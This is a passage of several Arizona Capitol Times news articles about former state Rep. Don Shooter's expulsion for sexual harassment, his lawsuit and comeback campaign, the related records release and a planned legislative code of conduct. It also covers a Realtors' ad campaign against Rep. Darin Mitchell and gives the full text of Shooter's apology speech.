Shooter was first removed as chair of the House Appropriations Committee, where he would have had the ability to subpoena documents. Ultimately, though, he was removed following a 56-3 vote of the House which concluded that he had engaged in sexual harassment and other inappropriate conduct.

“Corruption is at the heart of this case,” Bernstein said.

“There are many facts that have yet to be made public,” he said. “This case is important as it exposes the manner in which Don Shooter was victimized by the personal interests of other elected officials.”

Reinstating the lawsuit also could allow him to seek release of documents and interviews done by an outside counsel hired by Mesnard to investigate the sexual harassment allegations. Shooter contends that some of what the investigators discovered about his accusers was not presented to his colleagues before they voted to remove him.

All that, however, is academic unless and until Shooter can get his day in court, assuming the appellate judges say his due process rights were denied.

But attorney Steve Tully, who represents Mesnard, argued to Lanza during a court hearing that Shooter has no property or liberty interests in being a state lawmaker, something Tully said is necessary to claim that he had something illegally taken from him.

As to that due-process claim, Tully said the only legal requirement for removing an elected lawmaker is a two-third vote of the House.

“He received the only process to which he was entitled,” Tully said, telling the judge that this is strictly a “political issue,” and not one for the courts.

Attorney Betsy Lamm, who represents Adams, echoed the theme, saying that nothing in Arizona law says Shooter was entitled to make a written response to the findings in the investigative report. Anyway, she said, the record shows that investigators did interview Shooter, allowed him to respond to the charges of sexual harassment, some of which he admitted were true, and included his response in the report.

Shooter has alleged that, as chairman of the House Appropriations Committee, he found multiple instances where the state was awarding contracts without seeking the lowest bid. Tom Horne, who was Shooter’s attorney at the earlier federal court hearing, said Shooter approached Adams as Ducey’s chief of staff and threatened to have hearings and subpoena witnesses and documents unless the situation was remedied.

What happened, said Horne, is that Adams worked with Mesnard to suspend Shooter from his role as chairman of the panel by using various charges of sexual harassment. That led to the investigation and, eventually, the House vote to eject Shooter.

Editor’s note: This story has been revised to put greater emphasis on the law firm representing Don Shooter.

Paid circulators, not supporters, gathered signatures for Shooter

Rep. Don Shooter relaxes Feb. 1 before a historic vote of his colleagues to remove him from office. He was ousted by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)
Rep. Don Shooter relaxes Feb. 1 before a historic vote of his colleagues to remove him from office. He was ousted by a vote of 56-3. (Photo by Katie Campbell/Arizona Capitol Times)

When ousted lawmaker Don Shooter first acknowledged he might run for office again, the Yuma Republican described his potential campaign as wholly reliant on supporters in Yuma who insisted he make a comeback.

A recent interview and campaign finance records show that Shooter, who was expelled from the Arizona House of Representatives in February for sexually harassing women, took a more active role in launching the campaign than he let on.

Shooter has since acknowledged running a poll to gauge interest in his potential campaign. And in late May, days before the deadline to file nominating petitions, he paid $2,176 for circulators to ensure he had enough signatures to qualify for the ballot.

Of the 828 petition signatures Shooter filed on May 30, at least 167 of them were collected by paid circulators. That’s roughly 20 percent of his signatures.

Rumors that Shooter might run for the state Senate, where he previously represented Legislative District 13, first began swirling in May, with reports of a robo-poll focused on the Senate GOP primary election. Shooter told the Arizona Capitol Times that he was not responsible for the poll — and why would he be, Shooter quipped, since he had no interest in running again.

“Hell no,” Shooter said when asked if he’d run for office. “I’m a man of leisure and happily enjoying my forced retirement.”

But in a recent interview with Yuma’s News 11, Shooter touted a poll he said was conducted while he was deciding whether or not to run again. Shooter said the poll asked prospective voters whether they would be more or less likely to vote for a lawmaker they knew was thrown out of office for sexual harassment.

He boasted that the voters responded that they would be more likely to vote for such a lawmaker.

On May 24, after his previous denial of any interest in running, Shooter shifted course and told the Capitol Times he was willing to serve again, but only because he’d been approached by a handful of loyalists who urged him to run and were willing to gather signatures to help him qualify for the ballot.

Shooter claimed in May not to care whether they accomplish their goal, but told them, “If you get the petitions, I guess I’ll run… If people want me to work and serve, I’ll go.”

Days later, Elyse Foutz and Darlene Matlewsky, two Sun City West residents, were collecting signatures in the West Valley on Shooter’s behalf. Shooter would pay them $950 each for their services, according to his second quarter campaign finance report, a rate of roughly $11 per signature.

The report also shows a payment of $276 to Diane Burns, owner of Petition Pros. Burns confirmed that she sent a signature gatherer to the West Valley on Shooter’s behalf. It’s unclear how many signatures Petition Pros gathered for Shooter.

Shooter declined to answer questions about the poll he claimed to have run in LD13, but shed some light on why he paid circulators. Shooter told the Capitol Times via text message July 18 that one of his supporters who couldn’t personally collect signatures offered to “give me money and pay to get them (signatures) collected.”

Between April 1 and June 30, only three contributions were made to Shooter’s campaign. One he made himself for $120, and one came from Crystal W. Howell for $2,000 on June 4. The third was an in kind contribution made by lobbyist Gretchen Jacobs for $2,500.

Jacobs said she wrote a check to attorney Tim Nelson to help cover Shooter’s legal expenses as he defended himself against a challenge to his residency, an attempt to have his name barred from the ballot.

Shooter also spent an additional $9,500 from his campaign for Nelson’s services, according to his financial report.

Howell’s contribution would cover most of the $2,176 Shooter spent on signature gatherers, and is the only contribution that could possibly fit Shooter’s description of getting financial aid to pay for signatures.

Howell doesn’t appear to be one of Shooter’s supporters in Yuma, or anywhere in Arizona. Shooter’s latest finance report doesn’t list an address or occupation for Howell, and instead states that the information was “requested.” That means a candidate is claiming to have made a good faith effort to gather the information from the contributor before filing the finance report, according to Elections Director Eric Spencer.

The only available identifying information from the report shows that Howell is a Colorado resident. Shooter did not respond to a call or text asking if Howell is the contributor who he said had helped to pay for circulators.

Most of Shooter’s funds came in the form of loans made by himself and his wife, Susan, to the campaign. Shooter personally loaned himself $1,900 in the second quarter, while Susan kicked in $28,500 combined over two separate loans.

Panel to work on code of conduct for legislators

Following the ouster of one representative and the revelation of suggestive text messages between a former senator and a staffer, a committee will draft a code of conduct governing the Legislature.

House Speaker J.D. Mesnard and Senate President Steve Yarbrough announced the creation of the bipartisan, bicameral committee in a press release Tuesday.

The announcement offered few details about the specific goals of the committee.

Its members will consist of four members from each legislative body and be equally divided between Republicans and Democrats.

Yarbrough said Sens. Gail Griffin, R-Hereford, and Rick Gray, R-Peoria, will serve on the committee from the Senate. The Democratic members will be decided by Senate Minority Leader Katie Hobbs.

Mesnard could not yet say who represent the House.

House Speaker J.D. Mesnard addresses his decision to suspend his Republican colleague Rep. Don Shooter from his duties as chairman of the House Appropriations committee on Nov. 10. Shooter's suspension came after several women publicly accused him of sexual harassment. (Photo by Katie Campbell/Arizona Capitol Times)
House Speaker J.D. Mesnard addresses his decision to suspend his Republican colleague Rep. Don Shooter from his duties as chairman of the House Appropriations committee on Nov. 10. Shooter’s suspension came after several women publicly accused him of sexual harassment. (Photo by Katie Campbell/Arizona Capitol Times)

“While it’s unfortunate that such a code is needed, legislators will certainly benefit from greater clarity, and the public will be better served by having a behavioral code of conduct in place,” Mesnard said in the press release.

Mesnard was quick to respond to numerous reports of sexual harassment by former Rep. Don Shooter in November. An investigation was completed, and the House ultimately voted to expel Shooter from office in January.  

Mesnard has since repeatedly called for an official code of conduct.

After the announcement, Rep. Michelle Ugenti-Rita, who first accused Shooter of sexual harassment, tweeted her support: “I hope this addresses member on member retaliation and abuse of power.”

Yarbrough told the Arizona Capitol Times that the recent scandals surrounding Shooter and more recently former Sen. Steve Montenegro, who exchanged suggestive text messages with a Senate staffer while still in office, will likely color the committee’s conversations. But he declined to specify what remedies should be considered to make it clear what behavior a code of conduct should address.

Senate President Steve Yarbrough (R-Chandler) (Photo by Katie Campbell/Arizona Capitol Times)
Senate President Steve Yarbrough (R-Chandler) (Photo by Katie Campbell/Arizona Capitol Times)

I’m not necessarily driving that bus,” Yarbough said. “I am an open book, looking forward to seeing what the members believe should be in a code of conduct.”

The messages Montenegro sent and received indicated a relationship outside of a professional setting. While that relationship has been described as inappropriate by the woman’s attorney, there is currently no written policy at the Senate explicitly barring senators from engaging in relationships with staff.

Yarbough said the code should remove any ambiguity about what constitutes unacceptable behavior by legislators in the future.

Though the code of conduct may not address what punitive measures are needed to respond to unacceptable behavior, he said there already exists actions the House and Senate as legislative bodies can take against one of their own – as evidenced by Shooter’s expulsion.

Ben Giles contributed to this report. 

Realtors assail Rep. Mitchell despite membership in group

Rep. Darin Mitchell, R-Litchfield Park, said requiring Arizona Department of Corrections officers to be U.S. citizens would help ease unemployment in his district, which stretches to Yuma. (Cronkite News Service Photo by Juan Magaña)
Rep. Darin Mitchell (R-Litchfield Park) (Cronkite News Service Photo by Juan Magaña)

The Arizona Association of Realtors is campaigning against one of its own members with negative ads attacking Republican Rep. Darin Mitchell.

The ads, launched by the Responsible Leadership for AZ PAC, blast Mitchell, a Realtor from Goodyear, as one of several “very concerning candidates” in Legislative District 13, where Mitchell is running for re-election to the House of Representatives.

That claim in the ads lumps Mitchell together with Republican Trey Terry, who’s running on a slate with Mitchell for the district’s two House seats, and with ousted lawmaker Don Shooter, who’s running for the state Senate. The ads, and the website, go on to accuse Mitchell of unpaid debts and a state income tax lien, and drum up an ethics complaint filed against him by House Democrats in 2016.

Beyond the low-hanging fruit of election attacks, the website created by Responsible Leadership for AZ – darinmitchelltooliberal.com – also hits Mitchell for supporting and sponsoring legislation that the Realtors opposed.

The Arizona Association of Realtors is the sole funder of Responsible Leadership for AZ, to the tune of $500,000 since December 2017.

The attacks have drawn the ire of another Realtor-slash-lawmaker, Rep. Mark Finchem. He, too, was snubbed by the Realtors’ endorsements.

And Mitchell’s campaign consultant claims the Realtors are trying to drum up reasons to attack Mitchell to influence an intra-party race for speaker of the House.

Nicole LaSlavic, vice president of government affairs at the Association of Realtors, said such claims are “purely speculation,” and don’t reflect the association’s decision to back a GOP challenger over Mitchell in LD13.

The Realtors instead endorsed Rep. Tim Dunn, R-Yuma, and GOP challenger Joanne Osborne.

“I know that neither (Mitchell nor Finchem) necessarily agree with it because they’re taking the position that they’re incumbents. But the reality is, there’s an impact on their votes,” LaSlavic said. “Just because they’re a member of our association doesn’t mean that we fall in line, necessarily, with backing them every time.”

Of chief concern for the Realtors is a bill Mitchell sponsored earlier this year. HB2507 would have barred homeowners from obtaining attorney fees if construction defects arise in a new home. The Realtors opposed the bill, which was never given a vote on the House floor.

LaSlavic said it’s only the latest example in a series of legislative efforts that Mitchell, though a Realtor, has supported despite the Association of Realtors opposition.

“I would say that for any member of the Legislature, if they’re going to sponsor legislation or vote for legislation that we do not agree with, the likelihood is that we’re not going to respond favorably to that,” she said. “Their membership doesn’t buy an automatic endorsement.”

Chris Baker, a campaign consultant for Mitchell, said the Association of Realtors is trying to find reasons to hide its true intentions. The Realtors were neither for nor against a similar bill Mitchell introduced back in 2015, Baker said.

“This is about the Realtors Association putting their thumb on the scale in the speaker’s race,” Baker said.

Mitchell is one of two Republicans vying to be the next speaker of the House. The other, Rep. Rusty Bowers of Mesa, was endorsed by the Realtors.

The Association of Realtors may have been neutral on Mitchell’s bill in 2015, but they were registered as opposed to it in 2018, when LaSlavic described it as the “most recent and probably the most concerning (bill) that we’ve had in the last few years.”

And while the Realtors may have backed Mitchell in the past, “people can change,” LaSlavic said.

As for Finchem, the Oro Valley Republican said he was livid that the Realtors Association would go negative on one of its own members, particularly when the money funding the attack ads comes from the Association of Realtors’ political action committee, known as RAPAC, which Realtors make contributions to.

FInchem demanded a refund from RAPAC and an apology for going after Mitchell with made up “innuendo and unproven accusations,” though the website attacking Mitchell provides documentation supporting those accusations.

The ad against Mitchell, Finchem wrote in a letter to the association, “would destroy the working relationship that Realtors have enjoyed with members of the House and Senate and would forever change the reputation of the Realtor community.”

Baker said the Association of Realtors had singled out Mitchell, and isn’t going after other candidates who have sponsored legislation the organization opposes. For example, Finchem may not have drawn Realtors’ endorsement in LD14, but unlike in Mitchell’s race, they endorsed no one, not even his GOP primary opponent.

Both Mitchell and Finchem have even cosponsored bills that the Association of Realtors supported, though Finchem voted in committee for HB2507.

“They’re going to try to make this about specific pieces of legislation,” Baker said. “The bottom line is if they were in the business of going after people off random pieces of legislation, they would be going after a lot of other Republican members. They are not.”

LaSlavic reiterated that being a Realtor does not ensure the association’s support.

“Darin Mitchell and Mark Finchem supported and voted for legislation that our trustees adamantly opposed, and because of that, based off their voting record, that’s why the position is not in their favor,” LaSlavic said.

Records release missing key elements of ex-Rep. Shooter investigation

state-house-webThe House withheld sexually explicit communications about Rep. Michelle Ugenti-Rita from hundreds of pages of documents made public on the Don Shooter sexual harassment investigation.

The records, which were first obtained March 16 by the Arizona Republic and KPNX 12 following a legal demand, mostly expand on the 82-page investigative report the House released on Jan. 30.

However, the documents omit information related to sexually explicit communications former House staffer Brian Townsend shared of Ugenti-Rita.

A notice included in the released records states that the documents pertaining to that incident “are only maintained” at Sherman & Howard, the law firm hired to conduct the investigation, “because of future security concerns.” It did not expand on what those concerns are.

The only reference to the incident is in an email sent Dec. 20 from Shooter’s lawyer, Daniel Pasternak, to Craig Morgan of Sherman & Howard. That part of the email, however, is heavily redacted.

“Although … is knowledgeable of the sexually explicit … sent by Representative Ugenti-Rita and Mr. Townsend to … was not Representative Shooter’s original source of that information,” Pasternak wrote.

The investigation led to the expulsion of Shooter, who investigators found had sexually harassed several women, including Ugenti-Rita and other lawmakers.

Morgan confirmed that the records referenced in the investigative report are being held in his office. He declined to say why the records were being solely kept at his office, and he also declined to comment on whether there are other records that his office possesses that the House doesn’t.

House Speaker J.D. Mesnard, R-Chandler, said even if the House did have the documents, it would be inappropriate to release them. He added that the allegation was only investigated to determine if a member of the legislature, presumably Ugenti-Rita, though he didn’t name her, had sent the explicit messages.

“When it was discovered that the person was not involved, the matter was closed,” he said, adding that it went beyond the scope of the investigation’s focus.

That’s one aspect of the investigation that several lawmakers have sought more information about.

Following the release of the investigative report, Rep. Anthony Kern, R-Glendale, sent a letter to several local law enforcement agencies asking them to investigate whether Townsend violated Arizona’s revenge porn law by sharing the messages.

Kern told the Arizona Capitol Times today that he has not received any further information from law enforcement about whether the incident will be investigated. He added that he’s meeting with the Maricopa Attorney’s Office this week to continue discussing the issue.

Amanda Jacinto, spokeswoman for the Maricopa County Attorney’s Office, said she could only confirm that the agency received Kern’s letter. She could not confirm whether the incident was being investigated.

The Attorney General’s Office and the Maricopa County Sheriff’s Office, which Kern also sent letters to, did not immediately return requests for comment.

Rep. Maria Syms, R-Paradise Valley, said releasing all of the records pertaining to the investigation would ensure that the investigation was conducted properly and was consistent with House rules.

“If that’s the case, we should celebrate the process, but as long as we withhold documents from the public eye it calls the process into question,” she said. “I think a great way to strengthen the public’s trust in elected leaders is to be fully open and transparent regarding any investigations that are funded by the taxpayer and that result in the expulsion of a member.”

Kern said the documents should be released because the investigation was taxpayer-funded.

“The taxpayers paid for that report. Period. So those are public records and those public records need to be released,” he said.

The total cost of the investigation was $195,520.

The records released March 16 include a copy of the card Shooter left Ugenti-Rita with lyrics to an overtly sexual song about tequila. It also included a copy of a business card he left on her car with “TOY” – thinking of you – written on it.

The documents also include a handwritten journal entry from Ugenti-Rita describing an incident in which Shooter professed his affection for her while they met over lunch, which she wrote made her feel uncomfortable.

It also revealed that Shooter’s lawyer asked that he be reinstated as chairman of the House Appropriations Committee, to which Mesnard responded with a one-word answer: “No.”

However, the records don’t include any underlying documents related to the investigation, such as notes, transcriptions, or audio or video recordings of the interviews conducted with Shooter, Ugenti-Rita, who first levied allegations against the Yuma Republican, or any of the other victims or witnesses.

Mesnard said notes and any work product stemming from the investigation belongs to the attorneys who conducted the investigation and the House does not have copies of them.

Much of the 340 pages were duplicate emails between Morgan and Shooter’s and Ugenti-Rita’s lawyer. The first 20 pages are a copy of the House harassment policy, which was widely circulated when first drafted, and there are roughly 40 pages of local media coverage of the investigation.

There are several blank pages throughout the stack of records.

In a letter sent March 15 to First Amendment lawyer David Bodney, who represented the Republic and 12 News, House Public Records Counsel Justin Riches said the House has “communicated with law enforcement” about releasing the records pursuant to a court order “and stands ready to immediately fulfill those demands should they arise.”

However, he added that further records wouldn’t be publicly released, noting that Mesnard “has indicated that this is the final release on this matter.”

Mesnard said from the beginning he’s tried to balance victims’ privacy rights with the need for transparency. The documents the House released, he said, don’t jeopardize any of the victims or further victimizes those involved.

Bodney, however, argued that the House could have redacted victim’s names or any identifying information. State statute, he said, identifies redaction as a way to balance the public’s right to know with a victim’s privacy rights.

“To my knowledge, there remains a host of records that could be produced if only with names or other minor details redacted,” he said.

Bodney said the House’s refusal to release the records “raises substantial questions about the process and its outcome,” questions he said could be answered through greater transparency.

Rep. Shooter accused of repeated sexual harassment of Capitol women

Sen. Don Shooter, R-Yuma (Photo by Rachel Leingang, Arizona Capitol Times)
Rep. Don Shooter (R-Yuma) (Photo by Rachel Leingang, Arizona Capitol Times)

Seven women at the Arizona Capitol, including three legislators, say a prominent Republican state lawmaker has harassed them.

The allegations against 65-year-old Rep. Don Shooter, R-Yuma, range from sexually charged comments to unwanted touching.

The women decided to publicly discuss the incidents after reporting from various news outlets, led by The New York Times and New Yorker, broke open sexual harassment claims from numerous women against Hollywood mogul Harvey Weinstein. Since then, women in various industries have gone public with stories about men in their businesses who have harassed them.

The topic of harassment at the Arizona Capitol came to the forefront on Oct. 20 after Rep. Michelle Ugenti-Rita, R-Scottsdale, said she had been sexually harassed at the statehouse for years since taking office in 2011. Ugenti-Rita made her accusation more specific on Tuesday, when she told a local TV station one of the men who harassed her was Shooter.

Several women have since come forward with stories of unwanted comments and touching from Shooter.

Marilyn Rodriguez
Marilyn Rodriguez

One instance occurred off of Capitol grounds in 2013, said Democratic lobbyist Marilyn Rodriguez.

Rodriguez said she was trying to lobby then-Sen. Shooter, who was the chair of the Arizona Senate Appropriations Committee, one of the most powerful positions in the chamber, on a budget issue in his office at the Capitol. He wasn’t listening, which she blamed on her newness as a lobbyist. He suggested they meet that evening at a restaurant, Windsor, in Phoenix.

Rodriguez brought another female lobbyist, who she declined to name, with her. After about two hours attempting to talk about the budget issue, the other lobbyist had to leave, leaving Rodriguez and Shooter together. Rodriguez said she decided to stay to continue lobbying him.

Shortly after the other lobbyist left, Shooter put his hand on Rodriguez’s knee, she said. She moved away from him and left as soon as she could after that, she said, adding that she felt paralyzed and overwhelmed.

Rodriguez hasn’t met with him in the two years since then, which she said makes it more difficult to work as a lobbyist given his prominent role in the budget process. Shooter now is the chair of the House appropriations committee.

“I don’t feel comfortable meeting with him. Every time I see him, I think about that moment. I still to this day feel incredibly ashamed about it,” Rodriguez said.

Rodriguez hasn’t publicly told the story before and and she said she still feels leery about discussing it, though she now owns her own lobbying firm. It’s a tough spot for lobbyists, who need to maintain relationships with lawmakers in order to advance their clients’ agendas, she said.

“It’s entirely possible there’s a chance for retribution, and I don’t know what to do about it,” Rodriguez said.

Rodriguez pointed to comments made by House Speaker J.D. Mesnard last week, after Ugenti-Rita publicly said she had been harassed at the Capitol. Mesnard noted that it’s especially hard for lobbyists to seek recourse for inappropriate treatment at the Capitol, saying one of their only options is to make a public statement.

“I agree. I don’t know if, at the end of this, my stories and the other women’s stories that come out are going to do anything. I don’t know if next session he’s still going to be chairman of the appropriations committee. That’s out of my control,” Rodriguez said.

In a statement sent through attorney Melissa Ho, Shooter would not comment on the allegations by Ugenti-Rita nor the women who spoke to the Arizona Capitol Times for this story, saying only that he had requested an investigation by the House.

Rep. Michelle Ugenti-Rita (R-Scottsdale)
Rep. Michelle Ugenti-Rita (R-Scottsdale)

Ugenti-Rita, R-Scottsdale, confirmed to KTVK (Channel 3) political reporter Dennis Welch on Nov. 7 that Shooter was one of the men who harassed her at the Capitol. She said he asked about her chest in her office once and came uninvited to her room with beer at a work conference, where she didn’t answer the door.

Ugenti-Rita also detailed a June 2011 encounter where he told her he was in love with her and said he wanted to have a relationship. She wrote a memo about that incident, and said she told Republican leadership, but nothing was done.

“He tells me that he loves me and asks if there’s an opportunity for us to be together in the future,” she read to KTVK from the June 2011 memo. “Just then, he bursts out, ‘I have been married for 32 years and have never done anything.’”

Ugenti-Rita said she’s worried about retaliation now that she’s named Shooter.

Initially, according to the Nov. 7 KTVK report, Shooter issued a written statement and said he “apparently said things that were insensitive and not taken well.”

However, later on Nov. 7, he retracted that statement, stating he had previously been told only that Ugenti-Rita was upset by comments he made but wasn’t given details.

“I’ve been happily married for 41 years, I’ve never cheated on my wife and there isn’t a woman on this planet I would leave my wife for,” he wrote.

Shooter went on to blame the trouble between him and Ugenti-Rita on “how she has conducted herself personally, with staff and later with legislation,” including “a very public affair.”

“Ms. Ugenti is lying about me, and I have asked Speaker Mesnard to have the entire matter investigated by the House Ethics Committee/Counsel,” he said. “At the conclusion of their work, I will consider taking further legal action in this matter.”

Ugenti-Rita has called attention to the lack of policies and procedures to investigate harassment among the elected members of the legislature, which resulted in a new policy.

Rep. Athena Salman (D-Tempe)
Rep. Athena Salman (D-Tempe)

Rep. Athena Salman, D-Tempe, recalled her first interaction with Shooter. During the first week of the legislative session this year, another representative introduced Shooter to her.

Salman said Shooter told her: “You’ll be a nice view to look at.”

She found the comment on her appearance unprofessional, she said.

Rep. Wenona Benally (D-Window Rock)
Rep. Wenona Benally (D-Window Rock)

Another lawmaker, Democrat Rep. Wenona Benally of Window Rock, said she heard Shooter use “suggestive and sexually inappropriate language” during the 2017 legislative session. While bills were being debated on the House floor, Benally was in the member’s lounge when Shooter sat across from her. Another male colleague joined him.

“They engaged in a joking but graphic conversation in front of me in which Rep. Shooter repeatedly referred to his male genitalia as a ‘gun.’ The conversation made me extremely uncomfortable,” Benally said in a statement.

She reported the incident to Democratic leadership, who reported it to House Speaker J.D. Mesnard.

In another instance, Shooter bear-hugged a 19-year-old Capitol Times intern at a company awards event earlier this year.

The intern, Kendra Penningroth, said Shooter, who she had never met, came up to her at the Best of the Capitol event in June and wrapped her in a long hug, then ran his hands down her back.

Shooter held onto her as he told another intern, who had a camera, not to take any photos of him, Penningroth said.

“It wasn’t like a colleague, side hug. It was like a bear hug. He pushed my face into his chest, which was weird, and then he continued to talk to me about how private his life is and how I know that he doesn’t like when people take pictures of him. But I had never met him before. Ever,” she said.

Another woman had a similar experience with Shooter. At a League of Arizona Cities and Towns conference in Tucson in 2015, the woman, a city employee who did not want her name or city identified, was at an after-hours event when Shooter arrived.

She said she greeted him and he wrapped his arms around her, then slid his hands down and grabbed her buttocks. She pulled away and pushed him back, she said. She walked away and was talking to coworkers, but Shooter came up behind her and began waving his hands and mimicking what she was saying.

She looked at him and told him to stop being creepy. He responded that he didn’t know if he could, she said.

She said she doesn’t think he remembers her or the incident because she saw him a year later and he came up to her and attempted to hug her again. She told him no, saying that the hugs with him never end well, she said.

Another woman who was at the conference confirmed to the Capitol Times that the city employee told her the same story immediately after it happened.

In another incident, at an education event at the Phoenix Public Market during the 2017 legislative session, Shooter made inappropriate sexual comments to two female lobbyists, who did not want to be named. A male lobbyist who witnessed the interaction, Geoff Esposito, recounted what happened, and one of the female lobbyists confirmed the account.

The lobbyists did not want to detail on the record exactly what was said for fear of retribution, but said the comments were extreme and sexual in nature.

Esposito, then a lobbyist at the statehouse, said he was keeping an eye on the conversation Shooter was having with the young female lobbyists. Esposito eventually received text messages from one of the lobbyists saying “SOS,” indicating that he should intervene.

He walked up to Shooter to try to interrupt, but Shooter physically pushed Esposito out of the way and said: “‘I’m working on something here, buddy,’” Esposito said. The female lobbyist confirmed Esposito’s account.

House Speaker J.D. Mesnard, R-Chandler, said the House will be investigating all claims of harassment as they become aware of them.

“Anything that becomes public or that is personally requested to investigate, either way, that’s what I’m going to pursue. … We are going to be very thorough,” Mesnard said.

The investigation will be conducted by a bipartisan group, and could include outside attorneys and specialists, if needed, he said. He added that the House will investigate any claims that come up, regardless of who the claims are against.

As to whether Shooter will remain as appropriations chair, Mesnard said he didn’t want to speculate, instead preferring to take the investigative process one step at a time.

The stories about Shooter and other members that Mesnard has heard in recent weeks are concerning, and he’s not trying to minimize the claims any women have made, but he wants to thoroughly investigate the issues through the proper channels, he said.

“We have a cultural problem we have to fix, and this is even bigger than Mr. Shooter,” he said.

Due to a transcription error, a previous version of this story included the wrong year for an incident. The alleged incident involving Marilyn Rodriguez and Rep. Don Shooter happened in 2013.

[divider]

Support great journalism. Subscribe to the Arizona Capitol Times. Click HERE.

Rep. Shooter apology peppered with deflection, denial

Rep. Don Shooter, R-Yuma, who has been publicly accused of sexually harassing at least nine women, including fellow lawmakers and lobbyists, began his formal apology to his colleagues today with a joke.

“Members, I know you all want to thank me for my part in bringing you here today,” he said.

Shooter, whose comments came during a floor speech, then went on to point fingers in self-defense.

He said his role in the overall discussion “has been greatly magnified as a result of a complaint that was filed against me for reasons that I believe are largely unrelated to the complaint itself.”

Though he didn’t explicitly say whose complaint he was referring to, after Rep. Michelle Ugenti-Rita, R-Scottsdale, accused Shooter of harassing her during her time at the legislature, Shooter blamed the trouble between him and Ugenti-Rita on “how she has conducted herself personally, with staff and later with legislation,” including “a very public affair.”

Multiple women, including lawmakers, lobbyists and a former Capitol Times intern, allege Shooter made inappropriate or sexually charged comments to them or engaged in unwanted touching.

He read the apology prior to a mandatory harassment training for all House members presented by the Attorney General’s Office.

“Our legislative community is currently going through an intense period of self-evaluation on the topic of how we treat each other, where we have been failing to do things right, and how we need to do things better.”

Rep. Don Shooter (R-Yuma)
Rep. Don Shooter (R-Yuma)

Still, Shooter said the additional complaints that followed made him realize that his behavior, and comments he made in jest, were actually offensive and made others uncomfortable.

“At first, my response was largely defensive, borne of frustration at a few complaints that were not true or were made for a personal or political vendetta,” he said. “But it would be a mistake to treat each and every complaint the same, if I failed to learn from legitimate complaints, and if I failed to recognize and apologize for those actions that caused damage or hurt.”

He added that he regretted calling some oversensitive, instead of taking responsibility for his actions.

“I was beyond embarrassed to hear that what I thought were welcomed and well-intentioned hugs were perceived as creepy and lecherous,” Shooter said. “I didn’t know. As soon as I did know, I have been – and am, so sorry.”

Shooter, who is under investigation by an outside counsel, said he didn’t need to wait for the results of the investigation to know that his actions weren’t well received by some at the Capitol. He added that he was sorry for the “distraction and strain” the investigation had caused.

“We, as a larger Capitol community, cannot begin to heal until those of us who have made mistakes begin the process ourselves,” he said. “For me, that means learning and changing, so I stand before you today because it is my desire that we now begin to heal.”

The speech was met by applause by some of his colleagues, but many of the women in the House responded with silence.

House Minority Leader Rebecca Rios, D-Phoenix, said she heard Shooter acknowledge that his remarks were offensive to some people, even though he didn’t intend them to be, and he’s open to understanding and learning a more appropriate way.

“I think that is insightful and that’s the important part of all this training, new insights,” Rios said.

Read the full text of Shooter’s speech below:

Our legislative community is currently going through an intense period of self-evaluation on the topic of how we treat each other, where we have been failing to do things right, and how we need to do things better.

My own involvement in all of this has been greatly magnified as a result of a complaint that was filed against me for reasons that I believe are largely unrelated to the complaint itself.

But that complaint was followed by a number of additional complaints, the majority of which were sincere and which exposed me to the knowledge that my actions were not always received as intended, and that worse still, they caused genuine discomfort or pain.

At first, my response was largely defensive, borne of frustration at a few complaints that were not true or were made for a personal or political vendetta.
But it would be a mistake to I treat each and every complaint the same, if I failed to learn from legitimate complaints, and if I failed to recognize and apologize for those actions that caused damage or hurt.

We, as a larger Capitol community, cannot begin to heal until those of us who have made mistakes begin the process ourselves.  For me, that means learning and changing, so I stand before you today because it is my desire that we now begin to heal.

The healing won’t start in earnest, at least with respect to the people whom I have hurt, without me recognizing that comments I have made in jest, over the past seven years, were not received in the spirit in which they were intended. Quite the contrary. Some were jarring, insensitive, and demeaning.

I don’t need to wait for an investigative report to know that.

In the past, when I’ve told a joke that landed badly and realized it, I have always apologized.  My purpose is always to entertain and to get people smiling and laughing, and that has been my style as a farmer and a legislator.  But when someone reacts badly or tells me I’ve hurt their feelings I feel terrible and try to immediately remedy it.

It has been hard to sit on my hands during this political and legal process and not acknowledge that I care. I WANT to get it right and I want to make it right.

I was beyond embarrassed to hear that what I thought were welcomed and well-intentioned hugs were perceived as creepy and lecherous. I didn’t know. As soon as I did know, I have been – and am, so sorry.

I will confess that there were times that, when hearing that I had offended someone with a boorish comment or that- what I intended as a simple hug turned into someone believing that I had crossed some line, I was sorry but, I also reacted defensively and thought to myself that some people are just too sensitive.

It has taken me time to understand, that —- I —- have been INsensitive, and it is unfair to expect everyone to react to things the way I might react.  If I’m going to be a comedian, I have to understand and be sensitive to my audience, not blame them when my jokes fall flat.

I now know that comments intended to be hospitable, harmlessly flirtatious or outrageous –and above all intended to be humorous, weren’t at all humorous and caused others to believe I did not value who they are as individuals. I’ve taken all of this very hard because those who know me well, know that under all of the clowning – the schtick I put on– I care a great deal.

Nor was this reaction limited to how women reacted to my behavior.  During this investigative process, I learned that I not only offended women; one complaint was even from a man!

I learned that a crass and offensive comment I made in jest at an after-hours event to a legislative candidate– in response to a political prediction– was perceived as sexual harassment which I never would have imagined. My sarcastic response related to buggery.  Repeating my response now, during the day, in front of my colleagues, including women, is evidence enough that I should have never said it.  It’s a little rough. This candidate interpreted my remarks as serious, not sarcastic, for which I am embarrassed and deeply regretful. I look forward to apologizing personally.

It is important that you all know that while my actions have unintentionally offended some, I have never attempted to kiss anyone, made obscene gestures at a woman, nor sought a tryst or sexual relationship. It may seem inconsistent with my attempts at humor, but I have lived my life as someone who absolutely reveres and respects women.  I have been blessed to be married for 41 years to an incredible woman, to whom I have remained devoted.

I was brought up to be a gentleman who will hold the door, pull out the chair, stand when a woman leaves the table or lend her my jacket when she is cold.

However, I now am acutely aware that not everyone understood my attempts at humor and resented that I did not show the respect and value each individual deserves.  That is one of the things that bothers me the most.

I am sorry for the distraction and strain that this matter and the subsequent investigation have caused all of you. That was not my intent when I asked for the investigation. I don’t want to go one more day without apologizing and honoring all of you by not only saying I’m sorry, but by doing better. This has been a painful process for all. Hopefully to those I hurt, you feel empowered for speaking up. Your courage has already had a profound impact on the way I relate to others. I am sorry.

I also want to tell all of you that I am still your friend and I still want to hear from you.  I especially want to hear if I’m doing something wrong.  I wish that the people who came forward months or years later had said something immediately at the time so that I could have apologized and made improvements right away.  But, I understand why they didn’t. I hope that while I strive to be better, you all help me along the way if you see things I can improve. It is time to repair and begin to heal. I want to get this right.

It can be tough to teach old dogs new tricks, but this old dog can and will do better. I look forward to personally listening and expressing my remorse once the investigation is over – to the extent those I have offended are interested. I am sorry.

Thank you.

Rep. Shooter sexually harassed women, created hostile work environment, investigator finds

